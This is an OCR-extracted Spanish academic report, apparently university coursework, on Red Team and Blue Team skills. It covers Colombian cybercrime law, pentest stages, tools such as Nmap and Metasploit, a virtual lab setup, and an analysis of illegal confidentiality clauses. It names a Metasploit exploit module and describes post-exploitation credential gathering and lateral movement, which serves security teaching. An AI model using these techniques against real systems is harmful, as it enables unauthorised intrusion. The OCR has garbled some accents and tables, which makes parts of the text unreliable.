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Resumen

Este informe presenta las competencias técnicas, legales y de gestion necesarias para los
Blue Team y Red Team en la dimension de la seguridad cibernética organizacional, se analizan
los marcos legislativos colombianos en el contexto de delitos informéaticos y proteccion de datos
personales, asi como las etapas y herramientas claves en la ejecucion de pruebas de penetracion.

Incluye el trabajo practico de las herramientas Metasploit, Nmap, OpenVAS entre otras,
como los servicios en linea ExploitDB, CVE, a través de la implementacion de un escenario
controlado o un banco de trabajo virtual, se vuelve evidente la importancia de la formacion
técnica y del conocimiento del entorno legal para tomar decisiones mas solidas en lo relacionado

con la defensa y la respuesta a incidentes en infraestructuras TI.

Palabras clave: anilisis forense, auditoria informatica, blue team, ciberseguridad,
contencidn de incidentes, CVE, delitos informaticos, gestion de incidentes, Metasploit, Nmap,

OpenVAS, pentesting, red team, resiliencia organizacional, SIEM, virtualizacion.



Abstract

This report presents the technical, legal, and management skills required for Blue Teams
and Red Teams in the area of organizational cybersecurity. It analyzes Colombian legislative
frameworks in the context of cybercrime and personal data protection, as well as the key stages
and tools for conducting penetration tests.

It includes practical work with Metasploit, Nmap, and OpenVAS tools, among others, as
well as the online services ExploitDB and CVE. Through the implementation of a controlled
scenario or virtual workbench, the importance of technical training and knowledge of the legal
framework for making more sound decisions regarding defense and incident response in IT

infrastructures becomes evident.

Keywords: blue team, CVE, cybersecurity, cybercrime, forensic analysis, incident
containment, incident management, IT auditing, Metasploit, Nmap, OpenVAS, organizational

resilience, pentesting, red team, SIEM, virtualization.
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Glosario

Analisis forense digital: Proceso de identificacion, preservacion, analisis y presentacion de
datos informaticos con el fin de investigar incidentes de seguridad, delitos informaticos o

fraudes. Permite obtener evidencia valida para procedimientos legales (Casey, E. 2011).

Auditoria informatica: Evaluacion sistematica de los sistemas de informacion de una
organizacion para verificar la integridad, confidencialidad y disponibilidad de los datos, asi como

el cumplimiento de normativas y politicas internas (Pathak, 2014).

Blue Team: Equipo responsable de la defensa activa de la infraestructura tecnologica de una
organizacion. Su labor es detectar, responder y mitigar incidentes de seguridad, asi como

fortalecer la resiliencia del entorno ante ataques (Colbert et al., 2020).

Ciberseguridad: Conjunto de practicas, procesos y tecnologias disefiadas para proteger

sistemas, redes y datos frente a ataques, dafios o accesos no autorizados (Craigen et al., 2014).

Contencion de incidentes: Acciones tomadas para limitar el alcance y el impacto de un
incidente de seguridad, evitando su propagacion y facilitando la recuperacion (NIST SP 800-

6112, 2012).
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CVE (Common Vulnerabilities and Exposures): Sistema de referencia publica que
proporciona identificadores inicos para vulnerabilidades conocidas de software, facilitando el

intercambio de informacion entre organizaciones (MITRE, 2024).

Delitos informaticos: Conductas ilicitas que afectan la confidencialidad, integridad o
disponibilidad de los sistemas y datos informaticos, tales como acceso no autorizado, sabotaje o

fraude digital (Congreso de la Republica de Colombia, 2009).

ExploitDB: Base de datos publica de exploits y vulnerabilidades, utilizada por profesionales de

seguridad para identificar y analizar debilidades en sistemas y aplicaciones (Exploit Database,

2024).

Gestion de incidentes: Proceso estructurado para identificar, analizar, responder y recuperarse
de incidentes de seguridad informatica, minimizando el dafio y restaurando las operaciones

normales (ENISA, 2016).

Metasploit: Plataforma de software utilizada para desarrollar, probar y ejecutar exploits contra
sistemas informaticos, ampliamente empleada en pruebas de penetracion (pentesting) (Maynor,

2011).

Nmap: Herramienta de codigo abierto para escaneo de redes y deteccion de hosts y servicios,

utilizada en la fase de reconocimiento y analisis de vulnerabilidades (Lyon, 2009).
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OpenVAS: Framework de codigo abierto para la gestion y escaneo de vulnerabilidades, que

permite identificar debilidades en sistemas y aplicaciones (OpenVAS, 2024).

Pentesting (Pruebas de penetracion): Metodologia que simula ataques reales para identificar y
explotar vulnerabilidades en sistemas, redes o aplicaciones, con el objetivo de fortalecer la

seguridad (ENISA, 2016).

Red Team: Equipo encargado de simular ataques reales a la infraestructura de una organizacion,
utilizando técnicas ofensivas para evaluar la eficacia de los controles y la respuesta del Blue

Team (Colbert et al., 2020).

Resiliencia organizacional: Capacidad de una organizacion para anticipar, resistir, adaptarse y

recuperarse de incidentes adversos, manteniendo sus funciones criticas (ISO 22316:2017).

SIEM (Security Information and Event Management): Herramienta que recopila,
correlaciona y analiza eventos de seguridad provenientes de diferentes fuentes, facilitando la

deteccion y respuesta a incidentes (Scarfone & Mell, 2007).

Virtualizacion: Tecnologia que permite crear entornos virtuales (maquinas virtuales) sobre
hardware fisico, facilitando la simulacion y prueba de escenarios de ciberseguridad (Rosenblum

& Garfinkel, 2011).



20

Introduccion

La creciente aparicion de la digitalizacion de los procesos empresariales y
gubernamentales ha experimentado una vasta expansion de las superficies de amenazas a las
organizaciones puesto que se exponen a nuevas amenazas de mayor sofisticacion y resistencia.

Nace asi la ciberseguridad como un componente esencial de la sustentabilidad y
continuidad de negocio, asimismo que exige el formar equipos de Blue Team y Red Team,
ambos son equipos que operan bajo un estricto régimen de normatividad en Colombia.

La interseccion de los conocimientos técnicos avanzados, la aplicacion del marco
normativo y las habilidades de gestion es el ntcleo de los profesionales en ciberseguridad para
anticipar, detectar, repeler amenazas y proteger los activos digitales mientras que se garantiza la

regulacion legal.
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Justificacion

La presente investigacion remite a la emergente urgencia de afrontar y mejorar las
cualidades de ciberseguridad en el pais, si se refiere el incremento de ciberataques sobre las
infraestructuras criticas, entidades publicas y privadas, la sofisticacion en cuestiones de técnicas
con las que son dominadas por sus actores malintencionado. Si bien la normatividad nacional
que enriquece con la Ley 1273 de 2009 en contra de los delitos informaticos; y la Ley 1581 de
2012 para la proteccion de datos personales, proporcionan un marco de referencia para cualquier
organizacion que administre informacion sensible.

La creacion de normas no es suficiente para incrementar el nivel de ciberseguridad, asi
las cosas, el equipo de ciberseguridad debe adquirir competencias para andlisis forense, pruebas
de penetracion, gestion de seguridad de los incidentes y el dominio de herramientas
especializadas, asimismo, la administracion de la documentacion indicada con el reporte
obtenido del ejercicio de Pentesting y las normas vigentes.

En el mismo aspecto la virtualizacién de entornos controlados y la simulacion de ataques
reales les permite validar con mayor contundencia la efectividad de los controles utilizados y

facilitar la cooperacion de mejora continua en temas de ciberseguridad.
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Objetivos
Objetivo General
Fortalecer la ciberseguridad organizacional colombiana, mediante la implementacion de
escenarios controlados de ataque y defensa con equipos Red Team y Blue Team, aplicando
metodologias de Pentesting y analisis forense y vinculando el cumplimiento normativo como
pilar fundamental para la proteccion integral de los activos digitales, con el fin de fortalecer la

resiliencia y la capacidad de respuesta ante incidentes de seguridad.

Objetivos Especificos

Evaluar las acciones de los equipos Red Team & Blue Team de una organizacion en el
marco de los criterios éticos y legales.

Analizar el alcance ético y legal del acuerdo de confidencialidad, identificando
contravenciones a la normatividad vigente y desarrollar estrategias para mitigar el riesgo de
incidentes de ciberseguridad.

Demostrar vulnerabilidades en un sistema informético a partir del uso de metodologias y
técnicas de intrusion.

Formular estrategias de contencién mediante el analisis de riesgos y vulnerabilidades en

una infraestructura TL
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Capitulo 1. Evaluar las acciones de los equipos Red Team & Blue Team de una
organizacion en el marco de los criterios éticos y legales.
Anexo 1 — Escenario 1
Situacion Problema: Montaje Banco De Trabajo.

CyberFort Technologies requiere previamente una instalacion de un banco de trabajo
con el cual el personal postulado a hacer parte de la organizacion deberd utilizar en una serie de
escenarios y problemas complejos al interior de CyberFort Technologies. El banco de trabajo
debe estar basado en herramientas software Opensource, la recursividad serd vital en este
proceso.

De manera simultadnea CyberFort Technologies requiere conocer por medio de una serie
de preguntas orientadoras el estado inicial o base del conocimiento de los aspirantes en cuanto a
temas de Ciberseguridad, al resolver estas preguntas la organizacion podra tener una perspectiva

global de sus futuros empleados.

1.1.Dentro del margen legal en Colombia sobre delitos informaticos y proteccion de datos
personales redacte con sus propias palabras que legislacion “leyes, decretos”™ existen

actualmente y las caracteristicas principales de cada ley.

Ley 1273 de 2009: Delitos Informadticos.

Esta Ley divulgada el 5 de enero de 2009 se cre6 para modificar el Codigo Penal en
Colombia frente a los delitos TICS. Se presenta con el fin de prevenir el acceso no autorizado a
datos y sistemas informaticos, atentados de seguridad y viceversa. Al respecto, se tratan los

siguientes aportes:
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Tipificacion de nuevos delitos: Articulos 269A hasta 269D, que tipifica falta de valores
en computadoras; infraccion a la confidencialidad y seguridad de datos; atentado informatico y
dafio causado por virus.

Condenas Penales: Pueden alcanzar 120 meses de prision y multas de 1.500 SMLV o
maximas vigentes si comete uno de los delitos.

Proteccion a Infraestructuras Criticas: Cobertura de infraestructuras tales como
sistemas publicos, financieros y de salud.

La ley se expuso en respuesta al aumento de las pérdidas econdmicas ante delitos
informaticos en 2007 que superaron los 6,6 billones de pesos colombianos. Proporciona medios
preventivos y punitivos para frenar comportamientos como el phishing, las clonaciones de

tarjetas y maniobras fraudulentas de transacciones electronicas.

Tabla 1

Ciberdelitos contenidos en la Ley 1273 de 2009.

Composicion del
Clasificacion de

Articulo Delitos Punible Segun Verbo
la Proteccion
Rector y Modalidad
Atentados contra El que, sin autorizacion o
la por fuera de lo acordado,
confidencialidad, Acceso abusivo a un acceda en todo o en parte
269A
la integridad y la sistema informatico. a un sistema informatico
disponibilidad de protegido o no con una
los datos y de los medida de seguridad, o se




sistemas

informaticos

269B

269C

Obstaculizacion
ilegitima de sistema
informatico o red de

telecomunicaciones.

Interceptacion de datos

informaticos.

mantenga dentro del
mismo en contra de la
voluntad de quien tenga
el legitimo derecho a
excluirlo.

El que, sin estar facultado
para ello, impida u
obstaculice el
funcionamiento o el
acceso normal a un
sistema informatico, a los
datos informaticos alli
contenidos, 0 a una red
de telecomunicaciones.
El que, sin orden judicial
previa intercepte datos
informaticos en  su
origen, destino o en el

interior de un sistema

informatico, o las
emisiones
electromagnéticas

provenientes de  un

25



269D Dano informatico

Uso de software
269E
malicioso

Violacion de datos
269F
personales

sistema informdatico que
los transporte.

El que, sin estar facultado
para ello, destruya, daiie,
borre, deteriore, altere o
suprima datos
informaticos, 0 un
sistema de tratamiento de
informacion o sus partes
0 componentes 16gicos.
El que, sin estar facultado
para ello, produzca,
trafique, adquiera,
distribuya, venda, envie,
introduzca o extraiga del
territorio nacional
software malicioso u
otros  programas de
computacion de efectos
dafiinos.

El que, sin estar facultado

para ello, con provecho

propio o de un tercero,
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269G

Suplantacion de sitios
web para capturar datos

personales.

obtenga, compile,
sustraiga, ofrezca, venda,
intercambie, envie,
compre, intercepte,
divulgue, modifique o
emplee codigos
personales, datos
personales contenidos en
ficheros, archivos, bases
de datos o medios
semejantes.

El que con objeto ilicito y
sin estar facultado para
ello, disefie, desarrolle,
trafique, venda, ejecute,
programe o envie paginas
electronicas, enlaces o
ventanas emergentes / El
que modifique el sistema
de resolucion de nombres
de dominio, de tal
manera que haga entrar al

usuario a una IP diferente



De los atentados
informdticos y

otras infracciones

2691

269]

Hurto por medios
informaticos y

semejantes

Transferencia no

consentida de activos

en la creencia de que
acceda a su banco o a
otro sitio personal o de
confianza, siempre que la
conducta no constituya
delito sancionado con
pena mas grave.

El  que, superando
medidas de seguridad
informaticas, realice la
conducta [hurto]
manipulando un sistema
informatico, una red de
sistema electronico,
telematico u otro medio
semejante, o suplantando
a un usuario ante los
sistemas de autenticacion
y de autorizacion
establecidos.

El que, con 4nimo de
lucro y valiéndose de

alguna manipulacion

28
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informatica o artificio
semejante, consiga la
transferencia no
consentida de cualquier
activo en perjuicio de un
tercero, siempre que la
conducta no constituya
delito sancionado con

pena mas grave.

Nota. Normatividad sobre delitos informaticos con base en la documentacion de la Policia

Nacional de Colombia. Fuente. (Congreso de la Republica de Colombia, 2009).

Ley 1581 de 2012 para la Proteccion de Datos Personales.

Esta ley establece categorias de datos, quiénes se encargan de ellos y qué mecanismos de
vigilancia y control se aplican, definiendo también el procedimiento a seguir y las sanciones con
cierto desorden natural para proteger y cuidar la informacion de la ciudadania registrada en
cualquier base de datos del territorio nacional, se busca impedir, en la mayoria de los casos,
cualquier forma de operacion, recoleccion, almacenamiento, uso, circulacion o tratamiento
realizados por organizaciones publicas y privadas, o incluso por ambas de manera indistinta.

Su objetivo principal es, en esencia, garantizar la privacidad y la intimidad de los
colombianos, salvaguardando los derechos fundamentales vinculados a la informacion personal,

se apoya en el principio de confidencialidad para promover un uso correcto de los datos y en la
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integridad para mantener su estructura y sentido, recordando siempre que todo debe hacerse sin

dejar de lado lo humano.

Politica de Seguridad Digital (CONPES 3854 de 2016).
Mejora los esfuerzos nacionales de ciberseguridad a través de la provision de capacidades

avanzadas que incluyen entrenamiento ofensivo y despliegue de tecnologias emergentes.

Decreto 338 de 2022.
Delinea los lineamientos sobre proteccion de la infraestructura de informacion critica y

gestion de riesgos en el pais.

1.2.En el mundo de la ciberseguridad existen procesos definidos para poder ejecutar de
forma organizada lo que se conoce como pruebas de penetracion o Pentesting; usted
como futuro experto debera redactar con sus palabras y definir cada una de las etapas
del Pentesting, dentro de la definicion incorporara un ejemplo de una herramienta que

se utilice para cada una de las etapas del Pentesting.

Planificacion y Definicion de Alcance.

En esta etapa, se definen asi los objetivos, los limites y las metodologias del Pentest. Por
ejemplo, es la definicion de los sistemas objetivo y conseguir autorizaciones y permisos legales
que eviten responsabilidades. Existen herramientas como Microsoft Project o Jira para el control

del calendario y los recursos, aunque no se mencionan expresamente en los resultados.
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Reconocimiento e Investigacion.

“Reconocimiento Pasivo & Activo”: Obtencion de informacion enfocada en la red del
sistema como direcciones IP, dimensiones de lo que representa dentro de la Infraestructura TI.
Nmap es utilizado para determinar hosts activos y servicios expuestos, que pude ser observado

en el escaneo donde se pueden detectar puertos abiertos y versiones de software, entre otros.

Escaneo de Vulnerabilidades.
Herramientas automatizadas OpenVAS (Greenbone) o Nessus investigan los sistemas de
fallos conocidos. En ambientes de pruebas sirve para revelar vulnerabilidades en servicios de

tipo HTTP y bases de datos generando informe detallado de riesgos y posibles explotaciones.

Explotacion.

En esta etapa, es conseguir ventajas para acceder a los sistemas mediante alguna de esas
vulnerabilidades o fallas identificadas en la etapa de “Escaneo de Vulnerabilidades” y deben ser
aprovechadas para poder acceder al sistema. Metasploit es un marco de trabajo modular donde
puedo ejecutar exploits como “multi/http/apache normalize path rce” para comprometer
Servers Web vulnerables, es igualmente eficaz cuando se integra a base de datos como

ExploitDB permitiendo la seleccion de ataques adecuados.

Post-Explotacion y Mantenimiento de Acceso.
Tras lograr el acceso, es indispensable permanecer en el sistema y existen backdoors o
elevacion de privilegios. Ademas, por ejemplo, el uso de Meterpreter desde Metasploit que hace

labores como acumulacion de credenciales y desplazamiento lateral en la red.
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Elaboracion de Informes.

El informe completo incluye las descripciones de las vulnerabilidades, explotaciones
ejecutadas y recomendaciones. establecido un modelo de plantilla o adoptar las sugeridas por
Tarlogic Security con pautas de las secciones como evidencia mediante capturas de pantalla y

riesgo priorizado basado en CVSS.

1.3.Las herramientas de ciberseguridad son de vital importancia, ademéas que existe un
gran abanico de posibilidades de herramientas existentes y software especializado
para desarrollar herramientas propias. Usted como futuro experto debe definir y

explicar las siguientes herramientas.

Herramientas:

Metasploit:

Metasploit es un marco de trabajo de pruebas de penetracion desarrollado por Rapid7,
contiene exploits, payloads, y modulos auxiliares. Utilidad para la demostracion de
vulnerabilidad para comprometer servicios FTP y HTTP utilizando scripts configurados para

comprometer sistemas.

Nmap:

Como escéner de red, Nmap busca identificar dispositivos activos, puertos abiertos y el
sistema operativo de los dispositivos. Dado en un entorno de prueba controlado, el comando
“nmap -sV -0 192.168.1.3” puede revelar servicios que incluyen vsftpd 2.3.4 y Apache 2.2.8;

datos vitales para la orientacion del ataque.
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OpenVas

Mas allé de las pruebas de rendimiento constantemente comparativas, OpenVAS es un
escaner de vulnerabilidades de cddigo abierto que utiliza pruebas automaticas para detectar fallos
de seguridad. En concurrencia, OpenVAS requiere poco recurso de la maquina objetivo y no
afecta el ancho de banda por lo que es ideal su implementacion debido a la NO afectacion de la

sincronia en produccion.

Servicios en linea:

ExploitDB

OpenSource ExploitDB que es desarrollada y mantenida por Offensive Security. Se
accede a la base haciéndola pasar por herramientas como searchsploit que filtran

vulnerabilidades buscando por plataforma o tipo ataque.

CVE

Common Vulnerabilities and Exposures (CVE), identifica vulnerabilidades de
codificacion unico. CVE-2023-2825 describe la vulnerabilidad critica en GitLab permitiendo
ejecucion remota de codigo, asi mismo, su identificacion facilita la priorizacion en la aplicacion

de parches de seguridad o actualizacion de versiones de software dentro de las organizaciones.

1.4.Para finalizar esta actividad es importante que usted reconozca, analice y configure

“banco de trabajo” lo solicitado en el anexo 1 — Escenario 1 sobre el cual debera



trabajar actividades que contienen un alto grado de tecnicidad. Lo solicitado en el

anexo 1 — escenario 1 es lo siguiente:
Paso A: Descargar la Herramienta Virtualizadora “Virtualbox” en su Ultima Version.

Figura 1

Descarga del Software de Virtualizacion VirtualBox.

\3 VirtualBox Home Download Documentation Communty (@

Download VirtualBox

The VirtualBox Extension Pack is available for personal and educational use on this page under the PUEL license. The VirtualBox Extension Pack is also
available under commercial or enterprise terms. By downloading, you agree to the terms and conditions of the respective license.

VirtualBox Platform Packages VirtualBox Extension Pack
VirtualBox 7.1.6 Extension Pack

7 LY Ll

VirtualBox 7.1.6 platform packages a
This VirtualBox Extension Pack Personal Use and Educational License '
",’ governs your access to and use of the VirtualBox Extension Pack. It does
macos / Intel hosts not apply to the VirtualBox base package and/or its source code, which are
mac0S / Apple Silicon hosts licensed under version 3 of the GNU General Public License "GPL").
[ Linux distributions
Solaris hosts
Solaris 11 IPS hosts VirtualBox Pack Use and License
(PUEL) v

Platform packages are released under the terms of the GPL version 3 Accept and download
K NACC U U

[ ///////f)

See our FAQ for answers to common questions.

i N

Nota. Captura de pantalla donde se evidencia la descarga de la Gltima version de VirtualBox.
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Figura 2

Instalacion de VirtualBox.

‘_ B Oracle VirtualBox 7.1.6 Setup

Oracle VirtualBox 7.1.6
installation is complete.

Click the Finish button to exit the Setup Wizard.

Start Oracle VirtualBox 7.1.6 after installation

Version 7.1.6 < Back Cancel

Nota. Captura de pantalla donde se evidencia la instalacion del software de virtualizacion

VirtualBox en su tltima version disponible.

Paso B: Una vez se realice apertura del foro para el desarrollo de la actividad ingrese al
enlace: RedTeam&BuleTeam?2024, el cual contiene lo requerido para el montaje del banco de
trabajo, las imdgenes en formato *.0OVA las cuales se encuentran ya preconfiguradas para ser
utilizadas en las actividades de cardcter técnico. En las imdgenes. OVA existe: Un sistema

operativo Windows y un sistema operativo Kali Linux.



36

Figura 3

Ingreso al Repositorio de Imagenes.

B Share  £@ Sync € Copylink () Add shortcut to My files & Download I sont v v €D Deta

Fernando Zambrano Mernands - e
Liks Fernanio Zambons Memancies Luis Fernando Zambrano Hernandez - Laboratorios Controlados * Seminario Especializado * RedTeam&BuleTeam2024
( Luls Fernando Zambran {err

e il Y Name Modified Modified By File size Sharing Activity

3.2_amd64.ova A days ag fo Zam

Rejjeto_123456.2ip Pt fo Zam 146 M

Nota. Captura de pantalla donde se evidencia el ingreso al repositorio para realizar las descargas
de las imdgenes proporcionadas para la implementacion del escenario controlado denominado

“Banco de Trabajo”.

Paso C: Debe validar que exista comunicacion entre cada una de las maquinas Windows con
la maquina de Kali Linux, recuerde por favor no encender las tres maquinas al tiempo ya que
puede colapsar los recursos hardware de su equipo host, encienda primero una mdquina

Windows y posterior a ello encienda la maquina Kali Linux.

Figura 4

Verificacion del Direccionamiento IP en Kali Linux.

=] kali@kali: ~

File Actions Edit View Help

1: <LOOPBACK,UP, LOWER_UP> mtu 65536 gdisc noqueue state UNKNOWN group def
ault glen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet /8 scope host lo
valid_1ft forever preferred_1ft forever

inet6 /128 scope host noprefixroute
valid_1ft forever preferred_1ft forever
2: <BROADCAST ,MULTICAST,UP,LOWER_UP> mtu 150@ gdisc fg_codel state UP g
roup default glen 215}
link/ether 08:00:2 of brd ff:ff: cffF:fFF:FF
inet /24 brd scope global dynamic noprefixroute eth@©
valid_1ft 86363sec preferred_1ft 86363sec
inet6 /64 scope global dynamic noprefixroute
valid_1ft 86365sec preferred_1ft 14365sec
ineté /64 scope link noprefixroute
valid_1ft forever preferred_1ft forever

Nota. Captura de pantalla desde la terminal de la VM con Kali Linux para verificar el segmento

de red en el que se encuentra.
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Figura 5

Direccionamiento IP de la VM Win7

EA Administrador: CAWindows\system32\cmd.exe EI@

Microsoft Windows [Uersion 6.1.76811
Copyright <{c?> 2887 Microsoft Corporation. Reservados todos los derechos.

C:slUserssusuarioXipconfig

Configuracidn IP de Windows

Adaptador de Ethernet Conexidn de area local:

Sufijo DHS especifico para la conexidn.

Direccidn IPvb . . . . . . . . . . = 4842 :9ced:4e38:7878
Direccidn IPvwh temporal. . . . . . = 41el:f2%9e:8476:he
Vinculo: direccidn IPv6 local. . . = 4842 :9ced:4e38:7898x11
Direccidn IPv4. . . . . . . . . . 189.8.2.15

Mascara de subred . . . - . . . . 255.255.255.8

Puerta de enlace predeterminada . . fe8B:-:z2x141

fAdaptador de tinel isatap.{SBESBED2-9BH4-47?9-BEB3-D289D73C2468>:

Estado de los medios. - . . . . . . - . . medios desconectados
Sufijo DNS especifico para la conexidn. .

C:s\Userssusuariora

Nota. Captura de pantalla donde se evidencia la configuracion del direccionamiento IP de la VM

con Windows 7.

Figura 6

Ping desde VM Kali Linux a VM Win7

kali@kali: ~

File Actions Edit View Help

— ( ) — [~
S ing 10.0.2.15

PING 10.0.2.15 (10.0.2.15) 56(84) bytes of
64 bytes from 10 : icmp_seg=1 ttl=64
64 bytes from 10 : icmp_seg=2 ttl=64
64 bytes from 10 : icmp_seg=3 ttl=64

64 bytes from 10. : icmp_seqg=4 ttl=64

64 bytes from 10.0.2. : icmp_seg=5 ttl=64 time=0.024

64 bytes from 10.0.2. : icmp_seq=6 ttl=64 time=0.023

2 o

— 10.0.2.15 ping statistics —

6 packets transmitted, 6 received, 0% packet loss, time 5113ms
rtt min/avg/max/mdev = ©0.021/0.027/0.036/0.005 ms

)~ [ ~]

Nota. Captura de pantalla donde se evidencia la realizacion de Ping desde la VM Kali Linux a

VM Win7.



Paso D: Evidenciar con Printscreen el Montaje del Banco de Trabajo y Explicar como se
Encuentra Desplegado “Caracteristicas Técnicas de Hardware”.
Figura 7

Topologia Anexo 1 — Escenario 1.

€ Red&Blue - GNS3 = (] >

File Edit View Control Node Annotate Tools Help

= O > p 7 C EFEIIlc .~ G QRAamE

- | Topology Summary (=)
Node |
» D Internet
» & Isp
b 6D kali-linux-2025.1a-virtualbox-z
b ) Win7-SE2020-X64-1

Internet

o :) \\ ISP

—_—

.

d55004% 9

N
o e = « >

Servers Summary @
) GNS3 VM (GNS3 VM)

WinZ-SE2020-X64-1 Kkali-linux-2025.1a-virtualbox-amd64-1 » € Ing-Freddyleon CPU 2.4%, ... |

Nota. Captura de pantalla de la Topologia disefiada para el desarrollo del Escenario 1, bajo
metodologia de ambiente controlado utilizando la herramienta GNS3.
Figura 8

Caracteristicas Técnicas Win?7.

™ General ™ previsualizacién
Nombre: ‘Win7-SE2020-X64

Sistema operativo: Windows 7 (64-bit)

Grupos: Red Team - Blue Team

|m| sistema

Win7-SE2020-X64

Memoria base: 4096 MB
Orden de arranque:  Optica, Disco duro
Aceleracion: Paginacién anidada, Paravirtualizacién Hyper-V

M pantalla

Memoria de video: 18 MB
Controlador grafico: VBOxXSVGA
Servidor de escritorio remoto:  Inhabilitado
Grabacion: Inhabilitado

/| Almacenamiento

Controlador: SATA

Puerto SATA 0:  Win7-SE2020-X64-disk001.vdi (Normal, 50,00 GB)
Puerto SATA 1:  [Unidad optica] Vacio

{1 Audio

Controlador de anfitrién:  Windows DirectSound

Controlador Audio Intel HD

W' Red
Adaptador 1: Intel PRO/1000 MT Desktop (Controlador genérico, «UDPTunnel» { dest=127.0.0.1, dport=10013, sport=10012 })
use

Controlador USB: OHCI, EHCI
Filtros de dispositivos: 0 (0 activo)
| 7] carpetas compartidas
Ninguno

B Descripcion

Ninguno

Nota. Captura de pantalla de las caracteristicas técnicas de hardware VM Windows 7 x64.
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Figura 9

Caracteristicas Técnicas Kali Linux.

M| General M| previsualizacion

Nombre: kali-linux-2025.1a-virtualbox-amd64

Sistema operativo: Debian (64-bit)

Grupos: Red Team - Blue Team

[®] sistema kali-linux-2025.1a-
Memoria base: 2048 MB virtualbox-amdé4
Procesadores: 2

Orden de arranque: Disco duro, Optica

Aceleracion: Paginacion anidada, PAE/NX, Paravirtualizacion KVM

M| pantalla

Memoria de video: 128 MB
Controlador grafico: VMSVGA
Servidor de escritorio remoto: Inhabilitado
Grabacion: Inhabilitado

L&) Almacenamiento

Controlador: IDE
Dispositivo IDE secundario 0: [Unidad éptical Vacio
Controlador: SATA

Puerto SATA 0: kali-linux-2025.1a-virtualbox-amd64.vdi (Normal, 80,09 GB)
[» Audio
Controlador de anfitrion:  Windows DirectSound
Controlador: ICH AC97
& Red

Adaptador 1:  Intel PRQ/1000 MT Desktop (Controlador genérico, «UDPTunnel» { dest=127.0.0.1, dport=10009, sport=10008 })
£¥ usB

Controlador USB: OHCI
Filtros de dispositivos: 0 (0 activo)

Nota. Captura de pantalla de las caracteristicas técnicas de hardware VM Kali Linux 2025.
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Capitulo 2. Analizar el Alcance Etico y Legal del Acuerdo de Confidencialidad,
Identificando Contravenciones a la Normatividad Vigente y Desarrollar Estrategias para
Mitigar el Riesgo de Incidentes de Ciberseguridad.
Anexo 2 — Escenario 2
Situacion Problema: Analisis legal.

La organizacion CyberFort Technologieses una organizacion con reconocimiento a
nivel mundial por asesorar a grandes Gobiernos en procesos de ciberseguridad y ciberdefensa
logrando posicionarse como la organizaciéon mas importante en el campo de la seguridad
informadtica a nivel mundial, la organizacion ha decidido que es hora de conformar equipos de
Red team y Blue team dentro de su estructura funcional para aumentar los protocolos de
seguridad al interior de esta.

Para dar inicio, la organizacion CyberFort Technologieses hace entrega de un contrato
para el reclutamiento de sus equipos Red team y Blue team; este contrato fue elaborado por un
abogado que ya no labora con la organizacion y fue despedido por encontrar algunos procesos
ilicitos. La alta gerencia no revisé los contratos con los que se reclutara el nuevo personal, por
ende, los contratos son entregados sin modificacion alguna; ante este evento la gerencia solicita
tener suma precaucion antes de firmar el contrato y acuerdos de confidencialidad estipulados
para el fin de contratacion de personal, sin embargo la organizacion aprovecha una serie de
problemas que ha identificado en su interior y como prueba de admision al equipo Red team y
Blue team deciden clasificar una primera mision a la cual deberian dar respuesta en poco tiempo
y trabajar bajo presion., “caracteristica” de estos equipos. También deberd proyectar la
instalacion de dos maquinas virtuales por medio de VirtualBox para poder ejecutar las sesiones

de pruebas en las actividades posteriores.
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2.1.;Una vez leido el anexo 2 — escenario 2 y el anexo 3 - Acuerdo usted logra evidenciar
algln proceso ilegal y no ético que se esté estipulando en dicho acuerdo? Debera
argumentar su respuesta y sefalar los fragmentos ilegales del anexo acuerdo en caso

de existir alguna irregularidad.

Procesos Ilegales y No Eticos Evidenciados en el Anexo 3-Acuerdo.

El Acuerdo de Confidencialidad adjunto como Anexo 3-Acuerdo posee clausulas que,
desde la visual ética y legal, son cuestionables. Siendo especifico, se dispone que el receptor “No
denunciar ante las autoridades actividades sospechosas de espionaje o cualquier otro proceso en
el cual intervenga la apropiacion de informacion de terceros.”. Se especifica sobre mantener un
nivel de reserva, incluso en “procesos ilegales”, que se descubran y se obtengan dentro de
CyberFort Technologies.

Primera Clausula: Ocultamiento de Procesos Ilegales.

Establece que “la parte receptora, se obliga a no divulgar directa, indirecta, proxima a
remotamente, ni a través de ninguna otra persona o de sus subalternos o funcionarios,
autoridades legales, asesores o cualquier persona relacionada con ella, la informacion
confidencial o sobre procesos ilegales dentro de CyberFort Technologies no podran ser
divulgados”.

Esta prohibicion es, por lo tanto, inequivocamente ilegal, ya que:

A. Expresamente reconoce la “existencia” de un proceso ilegal en la organizacion.

B. Intenta forzar a las personas que no denuncien actividades ilegales ante las autoridades
competentes.

C. Pretende transformar al firmante en cémplice de posibles delitos al coartarlo con

condiciones y silenciarlo frente a la comision de delitos.
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Segunda Clausula: Definicion de Informacion Confidencial.

De la definicién de la confidencialidad de la informacion acuerdos infundiéndoles que
“datos secretos como “datos de chuzadas, interceptacion de informacion, accesos abusivos a
sistemas informaticos™”.

Entonces la organizacion estd definiendo “confidencial” como placidamente el robo de

datos, sin tener en cuenta en un sentido completamente denotativo configuracion de un hecho

punible dentro de las leyes colombianas, literalmente hablando de la Ley 1273 de 2009.

Cuarta Clausula: Prohibicion de Denuncia
Por parte del receptor el acuerdo incluye "3. No denunciar ante las autoridades
actividades sospechosas de espionaje o cualquier otro proceso en el cual intervenga la
apropiacion de informacion de terceros." y "4. Abstenerse de denunciar y publicar la informacion
confidencial e ilegal que conozca, reciba o intercambie con ocasion de las reuniones sostenidas.".
Son, por lo tanto, claramente ilegales toda vez que:
A. Decrete revocaciones del deber civil como ciudadanos de denunciar la comision de
delitos.
B. Intentan destruir contractualmente la facultad de denunciar las actividades ilegales.
C. Laley no permitird que acuerdos en privado regulen los principios legales, la constitucion

y las Leyes.

Octava Clausula: Eximicion de Responsabilidad
La clausula de solucion de controversias también establece: "En caso de que la

informacion ilegal o confidencial sea encontrada en manos del receptor este debera acudir a un
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abogado privado y dejar exenta de cualquier responsabilidad legal y penal a CyberFort
Technologies."
La finalidad de esta estipulacion es:
A. Transferir cada vez la totalidad de la responsabilidad legal para con el receptor de la
informacion.
B. No imponerle al duefio de la organizacion o a quien haga sus veces, la responsabilidad
legal por sus actos propios de delincuencia.

C. Fortalecer una proteccion legislativa ilegitima para futuras indagatorias.

Andlisis Etico y Legal.

Eticamente: Limita el derecho de denuncia, lo cual puede traducirse como un mecanismo
para favorecer la impunidad al dejar a los seres responsables, implicados, o testigos sin hablar
con las autoridades sobre las actividades que podrian ser delitos.

Juridicamente: Obligando a no denunciar abatira la colaboracion de la justicia indicada
para desvelar si se tratan de delitos, lo que favorece que se establezcan perpetuamente

